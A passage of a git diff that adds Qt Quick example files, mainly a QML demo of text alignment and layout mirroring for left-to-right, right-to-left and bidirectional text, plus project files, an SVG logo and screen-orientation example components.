+ viewer.setMainQmlFile(QLatin1String("qml/textalignment/textalignment.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/righttoleft/textalignment/qml/textalignment/textalignment.qml b/examples/declarative/righttoleft/textalignment/qml/textalignment/textalignment.qml
new file mode 100644
index 00000000..41408b9c
--- /dev/null
+++ b/examples/declarative/righttoleft/textalignment/qml/textalignment/textalignment.qml
@@ -0,0 +1,426 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+ id: root
+ color: "white"
+ width: containerColumn.width
+ height: containerColumn.height + containerColumn.anchors.topMargin
+
+ property bool mirror: false
+ property variant horizontalAlignment: undefined
+
+ property variant editorType: ["Plain Text", "Styled Text", "Plain Rich Text", "Italic Rich Text", "Plain TextEdit", "Italic TextEdit", "TextInput"]
+ property variant text: ["", " ", "Hello world!", "مرحبا العالم!", "Hello world! Hello!\nHello world! Hello!", "مرحبا العالم! مرحبا! مرحبا العالم! مرحبا!" ,"مرحبا العالم! مرحبا! مرحبا Hello world!\nالعالم! مرحبا!"]
+ property variant description: ["empty text", "white-space-only text", "left-to-right text", "right-to-left text", "multi-line left-to-right text", "multi-line right-to-left text", "multi-line bidi text"]
+ property variant textComponents: [plainTextComponent, styledTextComponent, richTextComponent, italicRichTextComponent, plainTextEdit, italicTextEdit, textInput]
+
+ function shortText(horizontalAlignment) {
+
+ // all the different QML editors have
+ // the same alignment values
+ switch (horizontalAlignment) {
+ case Text.AlignLeft:
+ return "L";
+ case Text.AlignRight:
+ return "R";
+ case Text.AlignHCenter:
+ return "C";
+ case Text.AlignJustify:
+ return "J";
+ default:
+ return "Error";
+ }
+ }
+ Column {
+ id: containerColumn
+ spacing: 10
+ width: editorTypeRow.width
+ anchors { top: parent.top; topMargin: 5 }
+ Row {
+ id: editorTypeRow
+ Repeater {
+ model: editorType.length
+ Item {
+ width: editorColumn.width
+ height: editorColumn.height
+ Column {
+ id: editorColumn
+ spacing: 5
+ width: textColumn.width+10
+ Text {
+ text: root.editorType[index]
+ font.pixelSize: 16
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Column {
+ id: textColumn
+ spacing: 5
+ anchors.horizontalCenter: parent.horizontalCenter
+ Repeater {
+ model: textComponents.length
+ delegate: textComponents[index]
+ }
+ }
+ }
+ }
+ }
+ }
+ Column {
+ spacing: 2
+ width: parent.width
+ Rectangle {
+ // button
+ height: 50; width: parent.width
+ color: mouseArea.pressed ? "black" : "lightgray"
+ Column {
+ anchors.centerIn: parent
+ Text {
+ text: root.mirror ? "Mirrored" : "Not mirrored"
+ color: "white"
+ font.pixelSize: 16
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Text {
+ text: "(click here to toggle)"
+ color: "white"
+ font.pixelSize: 10
+ font.italic: true
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+ MouseArea {
+ id: mouseArea
+ property int index: 0
+ anchors.fill: parent
+ onClicked: root.mirror = !root.mirror
+ }
+ }
+ Rectangle {
+ // button
+ height: 50; width: parent.width
+ color: mouseArea2.pressed ? "black" : "gray"
+ Column {
+ anchors.centerIn: parent
+ Text {
+ text: {
+ if (root.horizontalAlignment == undefined)
+ return "Implict alignment";
+ switch (root.horizontalAlignment) {
+ case Text.AlignLeft:
+ return "Left alignment";
+ case Text.AlignRight:
+ return "Right alignment";
+ case Text.AlignHCenter:
+ return "Center alignment";
+ case Text.AlignJustify:
+ return "Justify alignment";
+ }
+ }
+ color: "white"
+ font.pixelSize: 16
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Text {
+ text: "(click here to toggle)"
+ color: "white"
+ font.pixelSize: 10
+ font.italic: true
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+ MouseArea {
+ id: mouseArea2
+ property int index: 0
+ anchors.fill: parent
+ onClicked: {
+ if (index < 0) {
+ root.horizontalAlignment = undefined;
+ } else {
+ root.horizontalAlignment = Math.pow(2, index);
+ }
+ index = (index + 2) % 5 - 1;
+ }
+ }
+ }
+ }
+ }
+
+ Component {
+ id: plainTextComponent
+ Text {
+ width: 180
+ text: root.text[index]
+ font.pixelSize: 24
+ wrapMode: Text.WordWrap
+ horizontalAlignment: root.horizontalAlignment
+ LayoutMirroring.enabled: root.mirror
+ textFormat: Text.RichText
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.8, 0.2, 0.2, 0.3)
+ anchors.fill: parent
+ }
+ Text {
+ text: root.description[index]
+ color: Qt.rgba(1,1,1,1.0)
+ anchors.centerIn: parent
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.3, 0, 0, 0.3)
+ anchors { fill: parent; margins: -3 }
+ }
+ }
+ Text {
+ color: "white"
+ text: shortText(parent.horizontalAlignment)
+ anchors { top: parent.top; right: parent.right; margins: 2 }
+ }
+ }
+ }
+
+ Component {
+ id: styledTextComponent
+ Text {
+ width: 180
+ text: root.text[index]
+ font.pixelSize: 24
+ wrapMode: Text.WordWrap
+ horizontalAlignment: root.horizontalAlignment
+ LayoutMirroring.enabled: root.mirror
+ textFormat: Text.RichText
+ style: Text.Sunken
+ styleColor: "white"
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.8, 0.2, 0.2, 0.3)
+ anchors.fill: parent
+ }
+ Text {
+ text: root.description[index]
+ color: Qt.rgba(1,1,1,1.0)
+ anchors.centerIn: parent
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.3, 0, 0, 0.3)
+ anchors { fill: parent; margins: -3 }
+ }
+ }
+ Text {
+ color: "white"
+ text: shortText(parent.horizontalAlignment)
+ anchors { top: parent.top; right: parent.right; margins: 2 }
+ }
+ }
+ }
+
+ Component {
+ id: richTextComponent
+ Text {
+ width: 180
+ text: root.text[index]
+ font.pixelSize: 24
+ wrapMode: Text.WordWrap
+ horizontalAlignment: root.horizontalAlignment
+ LayoutMirroring.enabled: root.mirror
+ textFormat: Text.RichText
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.8, 0.2, 0.2, 0.3)
+ anchors.fill: parent
+ }
+ Text {
+ text: root.description[index]
+ color: Qt.rgba(1,1,1,1.0)
+ anchors.centerIn: parent
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.3, 0, 0, 0.3)
+ anchors { fill: parent; margins: -3 }
+ }
+ }
+ Text {
+ color: "white"
+ text: shortText(parent.horizontalAlignment)
+ anchors { top: parent.top; right: parent.right; margins: 2 }
+ }
+ }
+ }
+
+ Component {
+ id: italicRichTextComponent
+ Text {
+ width: 180
+ text: "<i>" + root.text[index] + "</i>"
+ font.pixelSize: 24
+ wrapMode: Text.WordWrap
+ horizontalAlignment: root.horizontalAlignment
+ LayoutMirroring.enabled: root.mirror
+ textFormat: Text.RichText
+ property variant backgroundColor: Qt.rgba(0.8, 0.2, 0.2, 0.3)
+ Rectangle {
+ z: -1
+ color: parent.backgroundColor
+ anchors.fill: parent
+ }
+ Text {
+ text: root.description[index]
+ color: Qt.rgba(1,1,1,1.0)
+ anchors.centerIn: parent
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.3, 0, 0, 0.3)
+ anchors { fill: parent; margins: -3 }
+ }
+ }
+ Text {
+ color: "white"
+ text: shortText(parent.horizontalAlignment)
+ anchors { top: parent.top; right: parent.right; margins: 2 }
+ }
+ }
+ }
+
+ Component {
+ id: plainTextEdit
+ TextEdit {
+ width: 180
+ text: root.text[index]
+ font.pixelSize: 24
+ cursorVisible: true
+ wrapMode: TextEdit.WordWrap
+ horizontalAlignment: root.horizontalAlignment
+ LayoutMirroring.enabled: root.mirror
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.5, 0.5, 0.2, 0.3)
+ anchors.fill: parent
+ }
+ Text {
+ text: root.description[index]
+ color: Qt.rgba(1,1,1,1.0)
+ anchors.centerIn: parent
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.3, 0, 0, 0.3)
+ anchors { fill: parent; margins: -3 }
+ }
+ }
+ Text {
+ color: "white"
+ text: shortText(parent.horizontalAlignment)
+ anchors { top: parent.top; right: parent.right; margins: 2 }
+ }
+ }
+ }
+
+ Component {
+ id: italicTextEdit
+ TextEdit {
+ width: 180
+ text: "<i>" + root.text[index] + "<i>"
+ font.pixelSize: 24
+ cursorVisible: true
+ wrapMode: TextEdit.WordWrap
+ horizontalAlignment: root.horizontalAlignment
+ LayoutMirroring.enabled: root.mirror
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.5, 0.5, 0.2, 0.3)
+ anchors.fill: parent
+ }
+ Text {
+ text: root.description[index]
+ color: Qt.rgba(1,1,1,1.0)
+ anchors.centerIn: parent
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.3, 0, 0, 0.3)
+ anchors { fill: parent; margins: -3 }
+ }
+ }
+ Text {
+ color: "white"
+ text: shortText(parent.horizontalAlignment)
+ anchors { top: parent.top; right: parent.right; margins: 2 }
+ }
+ }
+ }
+
+ Component {
+ id: textInput
+ Item {
+ width: 180
+ height: textInput.text.length > 20 ? 3*textInput.height : textInput.height
+ TextInput {
+ id: textInput
+ width: 180
+ text: root.text[index]
+ font.pixelSize: 24
+ cursorVisible: true
+ horizontalAlignment: root.horizontalAlignment
+ LayoutMirroring.enabled: root.mirror
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.6, 0.4, 0.2, 0.3)
+ anchors.fill: parent
+ }
+ Text {
+ text: root.description[index]
+ color: Qt.rgba(1,1,1,1.0)
+ anchors.centerIn: parent
+ Rectangle {
+ z: -1
+ color: Qt.rgba(0.3, 0, 0, 0.3)
+ anchors { fill: parent; margins: -3 }
+ }
+ }
+ Text {
+ color: "white"
+ text: shortText(parent.horizontalAlignment)
+ anchors { top: parent.top; right: parent.right; margins: 2 }
+ }
+ }
+ }
+ }
+}
+
diff --git a/examples/declarative/righttoleft/textalignment/textalignment.pro b/examples/declarative/righttoleft/textalignment/textalignment.pro
new file mode 100644
index 00000000..e7feb002
--- /dev/null
+++ b/examples/declarative/righttoleft/textalignment/textalignment.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/textalignment
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE061C700
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/righttoleft/textalignment
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/righttoleft/textalignment/textalignment.qmlproject b/examples/declarative/righttoleft/textalignment/textalignment.qmlproject
new file mode 100644
index 00000000..498e35c9
--- /dev/null
+++ b/examples/declarative/righttoleft/textalignment/textalignment.qmlproject
@@ -0,0 +1,18 @@
+/* File generated by QtCreator */
+
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/textalignment"
+ }
+ JavaScriptFiles {
+ directory: "qml/textalignment"
+ }
+ ImageFiles {
+ directory: "qml/textalignment"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/righttoleft/textalignment/textalignment.svg b/examples/declarative/righttoleft/textalignment/textalignment.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/righttoleft/textalignment/textalignment.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/righttoleft/textalignment/textalignment64.png b/examples/declarative/righttoleft/textalignment/textalignment64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/righttoleft/textalignment/textalignment64.png
Binary files differ
diff --git a/examples/declarative/righttoleft/textalignment/textalignment80.png b/examples/declarative/righttoleft/textalignment/textalignment80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/righttoleft/textalignment/textalignment80.png
Binary files differ
diff --git a/examples/declarative/screenorientation/Core/Bubble.qml b/examples/declarative/screenorientation/Core/Bubble.qml
new file mode 100644
index 00000000..022327ad
--- /dev/null
+++ b/examples/declarative/screenorientation/Core/Bubble.qml
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ property bool rising: false
+ property bool verticalRise: true
+ property real xAttractor: 0
+ property real yAttractor: 0
+
+ width: 5 + 10*Math.random()
+ height: width
+ radius: Math.floor(width/2)-1
+ property real amountOfGray: Math.random()
+ color: Qt.rgba(amountOfGray,amountOfGray,amountOfGray,1)
+
+ y: (rising && verticalRise) ? yAttractor : Math.random()*(main.inPortrait ? main.baseHeight : main.baseWidth)
+ x: (rising && !verticalRise) ? xAttractor : Math.random()*(main.inPortrait ? main.baseWidth : main.baseHeight)
+ Behavior on x {
+ id: xBehavior
+ SmoothedAnimation {
+ velocity: 100+Math.random()*100
+ }
+ }
+ Behavior on y {
+ id: yBehavior
+ SmoothedAnimation {
+ velocity: 100+Math.random()*100
+ }
+ }
+ Timer {
+ interval: 80+Math.random()*40
+ repeat: true
+ running: true
+ onTriggered: {
+ if (rising) {
+ if (x > main.width || x < 0) {
+ xBehavior.enabled = false;
+ rising = false;
+ xBehavior.enabled = true;
+ rising = true;
+ }
+ if (y > main.height || y < 0) {
+ yBehavior.enabled = false;
+ rising = false;
+ yBehavior.enabled = true;
+ rising = true;
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/screenorientation/Core/Button.qml b/examples/declarative/screenorientation/Core/Button.qml
new file mode 100644
index 00000000..d683a225
--- /dev/null
+++ b/examples/declarative/screenorientation/Core/Button.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+Item {
+ id: button
+ signal clicked
+ property string text
+ property bool toggled: false
+ width: 100
+ height: 60
+ Rectangle {
+ anchors.fill: button
+ anchors.margins: mouseArea.pressed ? 3 : 2
+ color: toggled ? (mouseArea.pressed ? "#442222" : "darkred") : (mouseArea.pressed ? "#333333": "black")
+ radius: mouseArea.pressed ? 8 : 6
+ Text {
+ id: text
+ anchors.centerIn: parent
+ text: button.text
+ font.pixelSize: mouseArea.pressed ? 12 : 14
+ color: "white"
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
+ }
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: {
+ button.clicked()
+ }
+ }
+ }
+}
diff --git a/examples/declarative/screenorientation/Core/screenorientation.js b/examples/declarative/screenorientation/Core/screenorientation.js
new file mode 100644
index 00000000..ee84defd
--- /dev/null
+++ b/examples/declarative/screenorientation/Core/screenorientation.js
@@ -0,0 +1,94 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
